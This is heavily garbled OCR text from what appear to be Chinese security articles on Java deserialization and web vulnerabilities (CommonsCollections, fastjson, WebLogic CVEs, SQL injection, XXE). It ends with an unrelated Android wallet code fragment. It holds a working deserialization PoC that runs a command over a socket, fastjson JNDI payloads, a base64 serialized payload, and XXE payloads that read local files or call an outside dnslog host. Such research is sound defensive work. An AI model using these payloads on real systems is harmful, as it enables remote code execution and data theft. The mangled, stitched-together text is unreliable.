BadAttributeValueExpException exception = BadAttributeValueExpException(null);
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Field valField = exception.getClass().getDeclaredField("val");
valField.setAccessible(true);

valField.set(exception, entry);

exception FLEBA IREMEFAINISR, BEHFIWEEAXMG, EEHEH R FF RIS
lEEHRITIES. RTYX—FERMN, SERSEMIERSILIER, 8
CommonsCollections3 &[] CommonsCollections6, BEXERIRIFRILAB S —T PoC, BRXEHR
M.

HIRAIEHRERAYZ IDEA, EETURIVT, IDESARANTREE N RENE, E2E
FXAMEME, IDES 8] FEANEFIHAIT PoC, NTISEETEEEE IR AMA SHEHESE
SHITERR T, FMAEERNAIHRERIML, FhLEEEER,

¥ Base.java & BadAttributeValueExpException java ') TiedMapEntry.class & ObjectinputStream.java

Map innerMap = W HashMap()
innexrMap.put( )
Map lazyMap = LazyMap.decorate(innerMap, transformChain)

TiedMapEntry entry = ¢ TiedMapEntry(lazyMap

BadAttributeValueExpException exception = BadAttributeValueExpException(n )
Field valField = exception.getClass().getDeclaredField( )

System. .println( + valField)

valField.setAccessible( ) ®0 0

valField.set(exception, entry)

main()

+* = Variables
@ args =
transformers =
= transformChain =
size = 1
size =1
*fo0233" -> "1"

>
>
>
>
| 2

EramixakE,
WA R TEREIE exception BORTR, (B2 PoC BEEH1TT, EEREME IDE ks
NEmNtTESHN.
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0x05 Demo

// filename: Serverjava

me.lightless;

java.io.ObjectinputStream;
java.net.ServerSocket;

java.net.Socket;

Server {

main( [] args) {

11. ServerSocket serverSocket = ServerSocket(9999);

12. System.out.printin("Server started on port " + serverSocket.getLocalPort());
13. (true) {

14. Socket socket = serverSocket.accept();

15. System.out.printIn("Connection received from " + socket.getlnetAddress());

16. ObjectinputStream objectinputStream = ObjectinputStream(socket.getin

putStream());

17.

18. Object object = objectinputStream.readObject();
19. System.out.printIn("Read object " + object);

20. } catch (Exception e) {
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System.out.printIn("Exception caught while reading object");

e.printStackTrace();

} catch (Exception e) {

e.printStackTrace();

// filename: POCjava

me.lightless;

org.apache.commons.collections.Transformer;
org.apache.commons.collections.functors.ChainedTransformer;
org.apache.commons.collections.functors.ConstantTransformer;
org.apache.commons.collections.functors.InvokerTransformer;
org.apache.commons.collections.keyvalue.TiedMapEntry;

org.apache.commons.collections.map.LazyMap;

javax.management.BadAttributeValueExpException;

java.io.FilelnputStream;

java.io.ObjectinputStream;
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14. java.io.ObjectOutputStream;

15. java.lang.reflect.Field;

16. java.net.Socket;

17. java.util.HashMap;

18. java.util.Map;

19.

20.

21. main( [] args) Exception {
22. /4 ObjectinputStream objectinputStream = new ObjectinputStream(new FileInputSt
ream("payload.bin"));

23. /4 objectinputStream.readObject();

24, /4 objectinputStream.close();

25.

26. Transformer[] transformers = Transformer][] {

27. ConstantTransformer(Runtime.

28. InvokerTransformer("getMethod", Class]] {

Object[] {"getRuntime”, Class[0]}),
29. InvokerTransformer("invoke”, Class[] {Object. , Object][].
Object(] {null, new Object[0]}),
30. InvokerTransformer("exec”, Class[] { . Object[] {"ope
n -a Calculator"}),

31. ConstantTransformer("1")




40.

41.

42.

43.

44.

45.

46.
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Transformer transformChain = ChainedTransformer(transformers);

Map innerMap = HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformChain);

TiedMapEntry entry = TiedMapEntry(lazyMap, "foo233");

BadAttributeValueExpException exception = BadAttributeValueExpException

Field valField = exception.getClass().getDeclaredField("val");

System.out printin("val field: " + valField),

valField.setAccessible( );

valField.set(exception, entry);

Socket socket= Socket("127.0.0.1", 9999);

ObjectOutputStream objectOutputStream = ObjectOutputStream(socket.get

OutputStream());

47.

48.

49.

50.

objectOutputStream.writeObject(exception);

objectOutputStream.flush();
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Oxff S%&3Cik

https://security.tencent.com/index.php/blog/msg/97

https://blog.chaitin.cn/2015-11-11 java_unserialize rce/

https://github.com/frohoff/ysoserial

MLSRC 748

KR EEA—ERNTRAES T mi I SHNE e, EMkaEEZE NN L
(MLSRC) FEEIRIBS KRB FRRA IRHSEER S ST T~ mi S Eiwm, R

A EREEIFEILES IV RAETFREBAIEIE, AEEERERERMESAEH—D

ik

MLSRC ER: https://security.mogujie.com
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SerINREREE | Java RIEFIMLSERE

£ BihE
[R3ER: [R£Z=] https://www.anquanke.com/post/id/148593
— . WEHMANE

1.1 WEtti

2017 FEXRRFIIRENAE, Bl VIFZEHNEARFICSEINITEABHITR
i, f& fastjson, jackson, struts2, weblogic XLE(FEREIEE AN REFEXERA,
BERAENE, XERENEELNHEETRER, X2 RRERI2, fACHH. EE
R MARDK, XEEEANTENTISRER 720 BHRE. NS H
RHINF, HFRREHFBGEHSIRITILRE, B fastjson WRIANL LN T I, H
TREZEMTINZLE, XEXRANAEBIIERSZR, WEaE PoC, 524 2018 FHNER
2 weblogic, HFEASEINT CVE-2018-2628 K Hfth Weblogic ZBERE, HASRE
REFWCHIEHSR, FEEEFEAARESSESMTFRERS.

1.2 AAER

AXEERBFEBRT, WENBLZEBPILRELTEMFREE, R2TUMIESF, 2
EEAXSHT, Pycon K&if, RIWEHzE, @ RedHat, Apache, Amazon, Weblogic,
FIERRAZ S0 RCE imiAiRES, F®iIFHY Weblogic CVE-2018-2628 Fi2—1.

MAIEZE: xxlegend.com MPALKRE E#F=
=. REIEAI]D

IR P MER java 5INRIEGREREFERED, FICER TSR it
ERT7iE, XINE writeObject, MR R IEIFERR , 15 H B SREEIRMISR , XML& readObject,
KRS FFIED, ERHRE serialVersionUID LUMEERARR jvm 3KiE, @@l
SerializationDumper XN TEREEHFMEISI, TEEZD github HEZR FEGE
Magic 3k: Oxaced, TC_OBJECT:0x73,TC_CLASS:0x72,serialVersionUID,newHandle

EFHE: « http 28], cookie, sesion, FEH I EEER base64 (rO0) , E4&8EHY
base64 (H4sl) , MIIZ ; Servlets HTTP, Sockets, Session &THEE MMM FLEE
JMX, RMI, JMS, JNDIZ (\xac\xed) ; xml Xstream,XMLDecoder % (HTTP Body:

Content-Type:application/xml) ; json(Jackson, fastjson) http iI53k+HES.
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R FPH RS R E:

interaction SequenceDiagraml )

: > : =2
i 1 : readObject LJ fERED
H readObject()
: readObject0()
readOrdinaryObject()

B BB Lt fr
=il VB =i v
readClassDesc()

readNoneProxyDesc()--FresolveCiass(}-->(Jass forName()

readProxyDesc() --JresolveProxyClasst->Proxy.getProxyClass() I? sk

2 BATIHEEO S
3:
rgadskergogtgg " 4 readObjedt "
invokeReadObjec i
invokeReadObjectNoData() readO b,! ect
readExternalData()-->obj.readExternal() readObjectNoData
readExternal

5 : readObjectiR Bl

invokeReadResolve() 6: rea]jReso! e

: 7 : readResolveiR = :

;| viist doCallbacks()->list.obj validateObject() 8: I@teo bjgct
E E(' """"""""""""" s ARt el g i 2 PLICE DO DT UG]Sl p LG L
[Erannane 1b """"""" i 9: va"dateObJeCtle 1P garbage finalize

BEURFFMEIE

« Ysoserial [R&FFIL PoC &hk

« Marshalsec SE=75t&=VF5¥ PoC £h,
« Freddy burp I EH
 Java-Deserialization-Cheat-Sheet

=. fastjson

3.1 &7

Fastjson & Alibaba FF&H, Java iE=SRENEMEE JSON E., XA "REBRF RE
PTEC" HELE, SR Java iBESHERHRAY JSON E, 2EHENEERED toJsonString
parseObject RO BISCIFFIMCAIRFFIL, ST @ :

User user = new User("guest”,2);

String jsonString = JSON.toJSONString(user)

String jsonString = "{\\"name\\":\\"guest\\",\\"age\\":12}"
User user = (User)JSON.parse(jsonString)
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Fastjson PoC 1328 FEDARAE, — P EETF Templatelmpl, B/MAEETETF
JNDI, £F INDIRX a4/ a) Bean Property 28 b) Field 28! FJLI&% Demo:
https://github.com/shengqi158/fastjson-remote-code-execute-poc

fastjson ATHHIEARARARERIERSZR, BHT —EMUERZENE, XERZREE
BETEMAKRER hash IEEE, A%, NREBRSE, EXERHEK, EREEFIXLE
HNRZREEEE Maven BFEF, TEETER, B Maven BETATER, AFIER
PLECHHEIERIRRSZ K,

3.2 fastjson FiERY LN HEIR

TEIXERESE fastjson FIsREEW loadClass AysCH] &

public static Class<?> loadClass(String className, ClassLoader classLoader) {
//EHE
if (className.charAt(0) == "[") {

Class<?> componentType = loadClass(className.substring(1),
classLoader);

return Array.newlnstance(componentType, 0).getClass();

if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);

return loadClass(newClassName, classLoader);

try {

if (classLoader !'= null) {
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clazz = classLoader.loadClass(className);

BSSHAIRE— MR EERY PoC,
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:109
9/Exploit”," "autoCommit":true}, X FixX PoC FREERIEE H, XBERHIFA, BE
SREAIEHEREWLHA—ER loadClass SHRI—FRIIKE, B%E 1.241 NEREEE
& Lcom.sun.rowset.RowSetImpl;, ZETEZXA PoC WIHEMABE S AR EE—IRE
—FH LNRE—FRA, B, RAER, EESREWSEF, MRUALITL, | FHEN
SEEENERE. SREHMA T — T N TRl IRRET. RER, 1.2425%375
i LLcom.sum.rowset.RowSetImpl;; HOHNEEIASEE loadClass RYSE—™ if #ik
BHTLERS, FLARINAET 1.2.43 B8535 %2 [com.sun.rowset.RowSetimp. EEHIR
A 1.2.45 BEBEPNHRINT ibatis PIEFE, PoCHN
T{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"
data_source":"rmi://localhost:1099/Exploit"}}, BEXE—NETF INDIFPoC, ATHE
IEFRXAS PoC, BAIIERSckE—T JndiDataSourceFactory AYjR75 &

public class JndiDataSourceFactory implements DataSourceFactory {
public static final String DATA_SOURCE = "data_source";
/1&g
public void setProperties(Properties properties) {
try {
InitialContext initCtx = null;
Hashtable env = getEnvProperties(properties);
if (env == null) {
initCtx = new InitialContext();

} else {
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initCtx = new InitialContext(env);

}

==

} else if (properties.containsKey(DATA SOURCE)) {

dataSource = (DataSource)
initCtx.lookup(properties.getProperty(DATA SOURCE));

}

} catch (NamingException e) {

throw new DataSourceException("There was an error configuring
JndiDataSourceTransactionPool. Cause: " + e, e);

HARREET bean #24FE 0 set KA setProperties, fAifitA JNDI &if,
. weblogic

Weblogic 25— EIhml{tay J2EE N AIRSS s, AR HFERIFEZ. &
Oracle i, ALASHAE Oracle F=R3E3EE4AF, Weblogic Server Java EE NETFME
. BERIHYAEMH, Weblogic Server JiXEtEERig it 7 —HAEAIRS, THRim=EiIaE
AR FRITARFSMETS, BINLRBR T3 RARFFIEH, TEHE weblogic #Y
P SEmiRRE
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CVE-2016-3510
MarshalledOb ject

CVE-2015-4852

BT T3 « #H9EmE » EF commons-collections « REERBEZHEE
org.apache.commons.collections.functors* *
com.sun.org.apache.xalan.internal.xsltc.trax* *

javassist* *

org.codehaus.groovy.runtime.ConvertedClosure
org.codehaus.groovy.runtime.ConversionHandler
org.codehaus.groovy.runtime.MethodClosure

- {EREBR

weblogic.rjvm.InboundMsgAbbrev.class :: ServerChannellnputStream
weblogic.rjvm.MsgAbbrevinputStream.class
weblogic.iiop.Utils.class

CVE-2016-0638
BoERETNRBENME, 7E readExternal /& & :

public void readExternal(Objectinput var1) throws IOException,
ClassNotFoundException {

super.readExternal(var1);

/&%

ByteArraylnputStream var4 = new
ByteArraylnputStream(this.buffer);

ObjectinputStream var5 = new ObjectInputStream(var4);
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/1&g

try {
while (true) {

this.writeObject(var5.readObject());

} catch (EOFException var9) {

BREENT, INT— FilteringObjectinputStream igiEizE & :

public void readExternal(Objectinput var1) throws IOException,
ClassNotFoundException {

super.readExternal(var1);

=1

this.payload =
(PayloadStream)PayloadFactorylmpl.createPayload((InputStream)in)

BufferInputStream is = this.payload.getinputStream();

FilteringObjectinputStream var5 = new
FilteringObjectinputStream(var4);

VA=
try {
while (true) {

this.writeObject(var5.readObject());
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} catch (EOFException var9) {

FilteringObjectinputStream RYSCIIGNT @ :

public class FilteringObjectinputStream extends ObjectinputStream {
public FilteringObjectinputStream(InputStream in) throws IOException {

super(in);

protected Class<?> resolveClass(java.io.ObjectStreamClass descriptor) throws
ClassNotFoundException, IOException {

String className = descriptor.getName();

if(className !'= null && className.length() > 0 &&
ClassFilter.isBlackListed(className)) {

throw new InvalidClassException("Unauthorized deserialization attempt”,
descriptor.getName());

} else {

return super.resolveClass(descriptor);

HHLEE resolveClass (U EINT —ER2RRiEH,
HF XMLDecoder
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« CVE-2017-3506 ERFER T FERFIULERF XMLDecoder SERTRBIR
CVE-2017-10271 2 3506 (955" - EBEBH THE « BT http il HFMAFEETSERK
ot
http://xxlegend.com/2017/12/23/Weblogic%20XMLDecoder%20RCE%E5%88%86%E
6%9E%90/

CVE-2017-3248

private static class ServerChannellnputStream extends ObjectinputStream
implements ServerChannelStream {

protected Class resolveClass(ObjectStreamClass descriptor) throws
ClassNotFoundException, IOException {

String className = descriptor.getName();
if(className != null &8& className.length() > 0
& & ClassFilter.isBlackListed(className)) {

throw new InvalidClassException("Unauthorized deserialization
attempt", descriptor.getName());

} else {
Class ¢ = super.resolveClass(descriptor);

/&R

protected Class<?> resolveProxyClass(String[] interfaces) throws IOException,
ClassNotFoundException {

String[] arr$ = interfaces;
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int len$ = interfaces.length;

for(inti$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {

throw new InvalidObjectException("Unauthorized proxy
deserialization");

return super.resolveProxyClass(interfaces);

}

CVE-2017-3248 X NIwiE2RIE JRMPListener SRFHERY, WX MHNTEATLIESE, £
resolveClass #[] resolveProxyClass &g 8 7 Z& &,

CVE-2018-2628

XNmiEERRLES Oracle EARY, BEMNIARBEEET:E, SEUERX NRRMR
o« 553E5uY CVE-2017-3248 « ETF StreamMessage 12 « FIJFE
java.rmi.activation.Activator £gi4pM T 5XJ java.rmi.registry.Registry BIPREI « Proxy3IEws
I

W REET:
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;CV;E.:.2018;.2628:_;_;_:_:.:_:_:_:.:_:_:_:_:_:.:_:_:.:_:_:_:
C | ManableSocketTs. dispaten. . . . | .. . | e

" |2, InboundMsgAbbrev. read0bject ° ) i I

|3, Object InputStrean readisternatnata - | - - - [

. |5, FemoteO ject_ readTbiect - . - - . - . |. . . . . . . .
* |6, IndcastRef: readExternal - : i

" |%.LiveRef.read

JDKFu21-)

BRI
http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%ES5%8D%95%ES5
%A4%8D%E7%8E%BO0%ES%92%8C%ES %88%86%E6%9E%90/

. RE5HEBAE

5.1 Weblogic Fffil

TR TIMHY, PREEFTIEEAY P« RE Nginx RAMAHR, ST t3 YA http iR
B . JEP290 (JDK8u121, 7u131, 6ul4l) , XMHFEREESERFFIMIIERERID
T—EREgne, BT

maxdepth=100;
lorg.codehaus.groovy.runtime.ConvertedClosure;
lorg.codehaus.groovy.runtime.ConversionHandler;
lorg.codehaus.groovy.runtime.MethodClosure;
lorg.springframework.transaction.support.AbstractPlatformTra
nsactionManager;

Isun.rmi.server.UnicastRef;
lorg.apache.commons.collections.functors.*;
Icom.sun.org.apache.xalan.internal.xsltc.trax.*;

ljavassist.*

SRBERMAIIHER, SRR T gadget, XB{E(E Oracle FHAMFRFFI

F¥.

332



http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/
http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/
https://p2.ssl.qhimg.com/t011f43c8b90b3e62bd.png

L2%=-2018 FHT-55 2 #8

5.2 [RERFFILHATEH

« FERFIMUATEHERE « SRFIIBUIENZESS, FRRBREERFIIZA « &
REFIECFIDAERN « REFEFHIRS RATTIRTERNEEFSERMIXE « FHR
E=F « A4 IDK, JEP290

RERRHN Web IFGSLI0=IDENEE, EREAFFSEIE, AAE T TRAIERY Web
WEGtAR, AEUESHT, BIEMINESIENTUR. BXZREBFE: liaoxinxi[@]nsfocus.com &

& liwenjin[@]nsfocus.com
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FHIWGERHE | ARSIt R EsEsk
{E&: jkgh006
[R3ER: [R£Z=] https://www.anquanke.com/post/id/149081
Wi
BEES M EUINNZENENEEEEHR, TERECENREIRE LTERHEL
"FHEBRAL" RORERIRE, R RSO EMAARILERS, FARDIES, TREHHA
TERITRRKILFRNES, R THRID MBS T2 TIFE WRERN—FEES], MK

BEITRISINEICR, FMUUBEIHAEER, IIRRBETEIGIRE, E—IFESHT.
ZE2NBEHT

XEEFEEIT owasp-top10 B, [®RITFRBARSN=8SITHE, D51, sql
EN, FFML, xml SEEREAN

1G] PE DN
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IR BERRKEEERER, BUFHFRHEINSIURENEREY, XEMIIEMEN

ciass ListhNodeTresAction extends BaseAction
resg s T tTy S jad 4 8
Lr I\ e - Y,,:.— ¥ 3o -1 -
tring 1 - qu get ~
f deid i odeld Vel 0de §
13 « null) || (coll j.equa 1id
=i "¢ 8 jal { ( jual L
he y E " i f L 0 _.'.‘é'-»_'s"'
[ ager.g tI 4 ot f
- vsl 2
ing s q e lect fr ¥ ct r deid + NOOeld +
pat prepare atament
g from ¥F ¢ 31
t repar ate 't L 4
pst R X wtd
Resu - pot.e eQuer
ad te mne !
24 nodeid 591
=EEaE M
select * from typestruct where nodeid in(1)
24 nodeid 5 1) union select 1,2,3.......from table where 1=(1
=EMEDES
select * from typestruct where nodeid in(1) union select 1,2,3....... from table
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where1=(1)

HESRARBLEN
T BEERBPEERERAE, ERINEN T FAEHE, SRTIEAN
4 sglmap
©g gmap-permission.xml|
&g SqlMapConfig.aomi

(xeleoct 1d" gotCrosplint” roxul tMap” groupResule”™>
selact * frem as_group
/seleot’
(nolect 1d" gotGonrplintBylserid” rosul tMap™ groapResult” parsmetexClass™ java lang String”™?
select to. * From as_group 11, as_user_group =
vhere t user_3d = Suserldt amd tt growp_1d = t grevp_1d
fzelect>
(select id*"geat¥serliyld” rosel tMap="usorBesult” paremeterClass="jave lang Strieg”>
seloct t user_14d t user_mame, t passvd From es_user t
vhere % uzer_:d ™ 3yzerlids

/selact>

(xeloct 1d" " gotReleByld” xeoxul tMap~ roloRezult” parsmeterCless™ com ufgov gunp medel Rele™>
select ar role td wr rela_meme, wr rola_dese
. "$coCodel’ as co_cede, ‘SorgCode$’ as org code, CREATOR
from as_role wr

vhere ar role_3d = 2ids

/select)
Ri& id 791234, HorgCode /1
EANETRE W

select ar.role id, ar.role name, ar.role desc,’ 1' as co code, ‘1" asorg code,
CREATOR from as role ar where ar.role id = 1

2 nodeid I 1" ||(case when 1=1then “ else ‘a’ end)||

FTENEERE W

select ar.role id, ar.role_ name, ar.role desc,’ 1" as co code, ‘1" ||(case when 1=1
then " else ‘a’ end)||” as org code, CREATOR from as role ar where ar.role id = 1

ORM ZEBSFEN
R BEIBAVERL hibernate —RBEEZ 1B ACTAYNEN
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AppServer

JavaApp Pol0 ORM

O ORM sees:

String in  quotes
O DBMS gets:

Bool SQL expression -~ TRUE

Bool SQL expression — FALSE

#L%E (www.anquanke.com )

AppServer

EEak AHQLIE

SELECT p FROM pl.btbw.persistent.Post

JavaApp

EAEIERNSQLIES):
select post0 .id as id1 0 , post0 .name as name2 0 from post

post0 “where post0 _.name= '

XEEERA HsE— NBOEE X

R ESRIR, sqiEANBATIX=RE, IMMHITEIMREARNRR, SB2 miEiH
— user M7, WIERERERERAE, XIHRATLURTE CEAYEIR, WRIRES5T,
Al BERUE P ERIE AT

FHltiRR

ERFP AT, ERRHEARKZES SOAPMonitor BIRKE
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-REFFI

P
(servlot-mapping
‘xexviet-nume miterService /uervlot-name)

wrl-pattern orfaxl-pattern

/sexvlet-map)
servliet)
(wervlet-nume SUAMoni terServiced/servlet—nume)

servlet-cla

5. moni tor, SOAPMani terService

APMoni torPar t{/par em—name

Jparen-value

XML EFEN
BRI RENENBEFI— R

G

(sexrvlet—mepping>
<servlet-name’dsr-invoker{/sexvlet-name>
<url-pattern’/dsr/+#¢/url-pattern>

/sexvletmepping’

{create creator= mev javaseript= JsTools” mcepe="epplication™
(param name= cluss” value="cn cem enerth. pub3. mbx. common_mbx. JsTools” />

/ereate>

static String pars:
i I= null ¢

N read(String xmi)
ject jso

ild(rew StringRead

iltType = this.getType(root, "string™);

} catch (Exception var8) {
throw new JSONEXx i

L% (www.anquanke.com )

Bid dwr #200, EELRXT xml BUET, IRBZEELR, mMBESR payload #{iF string

IREARESHREI R ER
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ISESE

POST
HOSt Wme— O™ <N 9001

User-Agent MBS 0 (Windows NT 10 0, WOWES. rv.48 0) Geckov20100101 Firefodss O
Accept teatntmi ap| +xml 3ppic oo =0 9.°7.q=0 8

Atceghlanguage I-CN 2N qel 8 6nUiS qe0 5.en qe0 3

Accept-Encoong gap. defate

Contert. Type; text/pian

Reterer DD (etet———— 0 SO0

Conteet-Langth 292

awr HTTPIE §

& | HTTP/1.} 200 OK

Server Apache-Coyota/! 1
Contart-Type: tet/pian
ConmgrtLengy 2723

Date: Twe, 12 Jun 2018 05 34 33 GMT

IROWRSSERT
[OWR-REPLY
Oar engne. ¢

(rwdr O 7 SuInals semina

cont\

Cooloe. JSESSIONDWIFFCRAGCEF §1DTIBEDF 1 75745AL6835C, DAWRSESSIOND#PY N 160 tmathFF 3T
X-Formarded-For 8888
Connecticn keep-atve

canCounts
TEMREVTSEARINAE=D

cfscripthiame=ssTools

SO-memDINamE pacsEamT 2500

WD-43:0

cO-paramOestring <DOCTYPE sxdtec H{< ELEMENT43tring saiY +> IENTITY #ie » SYSTEM M NITeA > ] sbringr R 26 e N3b<
rstre

IESRTES

XEBERNE TETT EOS I HTATE,

netinauto 1330,

ozous Bunancphic continOR_COLORSINDIR_COLORS.

y . o 1355p1_mech Conngn-2 0
Foningiog
ue continkab confinlg 0 Zachelindd $0 confinid 50 cond AVAkIap ContiNMD confIEbaLAR confinll

buser

s

Muttre

_pkes1 IVrpam_smb confinpam o
conf

AECt SNNIC2 ANONeS BNnred QVnecs donrck dveadanzad d

FonsasIy

Avphp
* AVnve Jocatinec
Wreader.
confiascsi i

mee
onf

oanetd on

£pos WYy

TR, GERAE, REFEFIH XML SERE

A
TAEDHTF ppt, XERRRERERE
1. RF5ME

POST fcaframefautiiogin/org gocom componants caframe aulh Iagen 1agin fow HTTRM 1
Host 127.0.0.1:8080

Caontent-Length: 1602

Cache-Cantral mas-age=0

Origin: AltpA127.0.0.9: 8080

Upgrade-insecure-Requests: 1

Cantent-Typé: appicatianf-www-farm-urlenc oded

User-Agent Mozilla/5.0 (Windows NT 10.0; Wined, x64) AppleWebhrr537 36 (KHTML, like Geckao) Chromefes.0.3325 181
Safari537 .36

Accept testntml applicationihimisaml applicationtml;q=0.9 imagefwebp imagelapng *.q=0.8
Reterer: httpedf1 27.0.0. 1. 803 coframefautivlogindogin jsp

Accept-Language: n-CH zng=0.9

Cookie JSESSICNID=E2390EF2CAT104584E49505ABCSAF 16141

Cannection: close

_easFlowDataContext=rO0ARNyAC vemeu Y XBRY 2nILmivEW IvbnbuZmisZvwb GEhZCSkaxNiLkEpe GaWsI SR b Dikue
GmEJdawakWgALaNGhIARMIbGREAARZaApISQAN 2 IEDVRacmZaG 95 ZF sADWNRY 2hIZEMvOnRIbnR 0ALIB CwAC 2hNvl
nEIonRUeXBId&ASTGpndmEvEGFUZya T aHJpbme 7 TAAZGIveDZpoGviansMamP 2 SapbyaGawd O OwaC WEDZWK T mF L2

XEAIGACT AAEmMIS ZUShEWRAHA AAKWAB 2 RIYWRICANDACSMDbIINL 2ZFwWYWHNAZS 3| B2 1t 5L 2 Zpb GVIC Gy WOVRmIS ZUR 2
WIZWF kZ{z0 waACnlcGozadRvenixaH4 A8 IhwaB T AAAAAHV AL QP (GGLF TgAgabeHAASAK IPCVACGFNZSES
YWENDWF nZTamF 2Y'Sigy 29udGYudF RScGUIMPweGxp Y 2F DawIuL3gibxHNkb3dubGIh ZCIgIHBhZ2VF bmivZGILZZ0Id AR

mLTGUTABNBWYWAH G GoydD0iamF 2y Sop byd qlillte 2B PV SINWG 252 2 5570 R DB 2 S0 IW D IVHIWZ S gy ABwh GE Y R pb 24y
&1 kb3dubGAnZCIpO I MIcmiuZyBmaWdZG 9 3ma WP SByZF | ZXNOILmMdlaFBhemFIZ AR cigiZmls ZWShEWUIK Thy Zdwh
2577 SShEGRIDWF K2 BolkivbnRIbn SR GlzeG9zaxRpb 24IL CIndHRRY 2hEPWS0 02 Zpb YUYW IR SigkyBmaWdZ G 9 3omes W
Qp0091dHE 1dFNoemVISBYdXRWIDOghN Vs bDtGaWN SWEWER T AHIN WO gaWd P SBudWxs D ARy v I RWID Dgem\ e G
U 2ULZ VDT 3V0cHVIL SRy WK C K TIGID0gbmy SIEZpbGVibnB | dF HOcmyvhbShmaWsdZG 93 bma Wi p D254 GWVASBID
Ogbmy BGISAEVEM T AyNF 07 aWS0IGKkgPSAw3doaWsKChplDOgawducmyVhZChiKSkgPlawk v <Rwlndya <RIk GisIDASIG

KpO3 IvddREwWlmZs MK CRTTWHRAGNoKE YA Y VW GKOIBIFALT e XNOZINOub IVILnByaw s b4 olkvyem eyl SipO2Uu cHIpbn

RTdAGFja 1Sy WHIKCKTISBmawihoGeSeyBp ZinpbiahPSBudWiskiisgawauy 2oe 2U0K T sgaWaA gP SBudWes O30 gaWyab 3y
OcCANPSBudWeskxtvd RwLmNsbAINIKCRTbIVOC CANGS 1 bGWTEXDIPNQAGGF woGHpY 2F 0aW3ul 29)aGVvIL<NIcmvho KBOA
ARDZNOeQB%2basmc 3 ADGphdmEpaWBURMISZOpELCDa T/AwABT AAEL GFDaHEATgAC eHBODAD he APy GVIYWEr{G)
1aWikaxRo Y BwA G VmBWY u DWWy GYmbWY ud 2Py XGMve HyaWdod CEge3Da bt alpleste dataod
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2. XML SCIREN

1234 biz ajax HTTR/1 1

4, x64) AppleWebKIU537 .36 (KHTML, like Gecko) Chrome/65.0.3325.181

[eostest_war_exploded] (2018-06-13 15:15:54, 118] [ERROR] [com. primeton. ext. engine. core. processor. AbstractProcessor:123]

java lang RuntimeException: java io. I0Exception: \tmp\ps (RBHTIHEENRRG ): ual
C!DOCTYPE xdsec [

C!ELEMENT methodname AV >

CIENTITY xxe SYSTEM “file:///tmp/ps” >1>

(root>{params>{param><key’userlame{/key><{value>test2</valued{/param>{parsm>{key’passvord(/key>(valuesxxe: {/value><{/param>{param><key>

version="1.0" encoding="utf-8"?>

{data>{/data>{/root>

=HMASIC

EESHRITNMARE, F=ATTAEDEZERES, —MMESEEE CRIERN,
IMIEBISE R ST ARBERETZE, ATLUITAIHMEHA VR ERNETX LS =75 K%
hn
XML 7R
2 java 017, Gt TERERSZH 9 3K xml f#FTE, HWEEREER
XEFEERIR xxe, FFREMZEBRIXLERR R, BEAET api ZER5MBSERS A,
ZLFMNBEN ORI TITIE

ww.anquanke.com )
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javax.xml.stream.XMLStreamReader;
javax.xml.parsers.DocumentBuilderFactory;

J >

org.xml.sax.helpers.XMLReaderFactory;
javax.xml.parsers,SAXParser;
javax.xml.parsers.DocumentBuilder;
org.jdom.input.SAXBullder;
.dom4j.DocumentHelper;

org.jdom.output.XMLOutputter;

RIFFILEE

#2# (wwwanquanke.com )

EHihmiR jar €
SHiERjare

of LA EEcontent-type
7

#L® ( www.anquanke.com )

XEHEERIRLERIA jar, Lba0 cosjar, BEEHMFELER, MRARARTME, b

BRARYI

LTS FERSTE web BR T, EXRARERESF getshell, XEH2
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;;i": ws | - !
] 2422018 F=T-55 2 58

dd-plistjar, K& ARRXNEMT json B9, ERERET xml BFT, REFMTT
content-type FUEBHEHRRER xml FFELRY, XERABIRLZBEIE xxe I

CVE t8XiEBRIR

XEFIHRAERIELE, HEFFRIES, &M cve iR, FMUIFFRIMREERSIER, Hp
REFFIKEEEN weblogic, FF&RHEZRLLAN thinkphp &%

CVE*E*!F]FHB‘H;L

(java,php,C%)

(FreeMarker, stmary,Jinja2)

¥ (www.anquanke.com )

EOLAZEIC

XEBFEHT java MAFRIPIAREED webservice, dwr, hessian, gwt, MfiIAIEL;,
k&, FRERRE BER—1REEC

PIK webservice BUAECE, AR LABISXEHITIEN:

orviet-mapping >
ervlet-name>

viet-mappin
3 viet-name>

t</url-pattern>

url-pattern>
xfive

>AxisServlet</serviet-name>

ransport.http AxisServiet

ervlet-name>
pattern>
</servlet-name>

mapping>
sserviet-name
<yrl-pattern
</servlet-mapping>

>
m@ ( www.anquanke.com )
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axis2 BB jws {41372 webservice:

£ web BRZFEHK jws LRI

HRIEXI LAY web 510 B RiBIE X S esH  Ti/319)
XTEAERN AR O T

axis2 {lEIRA cve THBRFER L :

POST /jsoa/services/ProcessService HITP/1. 1
Content-Type: text/xml: charset=UIF-8
S0APAction: Turn:anonfut In0p”

User-Agent: Axis2

Host: onbhiifhammm—m

Content=-Length: 123

<7xml wversion= 1.0° encoding="UIF-8"7:><IDOCTYPE root [<I/ENHTITY % remote SYSIEM
"http://axis2| 88d100. dnslog. info™ eremots:]>

xfire Fes8EERE— 1WA XXE IFiH:

i

Xshe ¢ LA o

tert b M1900ER 172

t X

Iser-Agene: eI 0 (Windows NT 100 WiRR 154) SppleiNabiit 3T 36 aumreiabe
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public Wallet getWallet() {
return this.wallet;

1
J

private void loadWalletFromProtobuf() {
Throwable x;
Throwable th;
if (this.walletFile.exists()) {
FileInputStream walletStream = null;
try {
Stopwatch watch = Stopwatch.createStarted();
FileInputStream walletStream2 = new FileInputStream(this.walletFile);
try {
this.wallet = new WalletProtobufSerializer().readWallet(walletStream2, new WalletExtension[@]);
watch.stop();

if (this.wallet.getParams().equals(Constants.NETWORK_PARAMETERS)) {

log.info({"wallet loaded from: '{}', took {}", this.walletFile, watch);
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try {

walletStream2.close();
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} catch (IOException e) {
walletStream = walletStream2;
}
}
if (!this.wallet.isConsistent()) {
Toast.makeText(this, "inconsistent wallet: " + this.walletFile, 1).show();
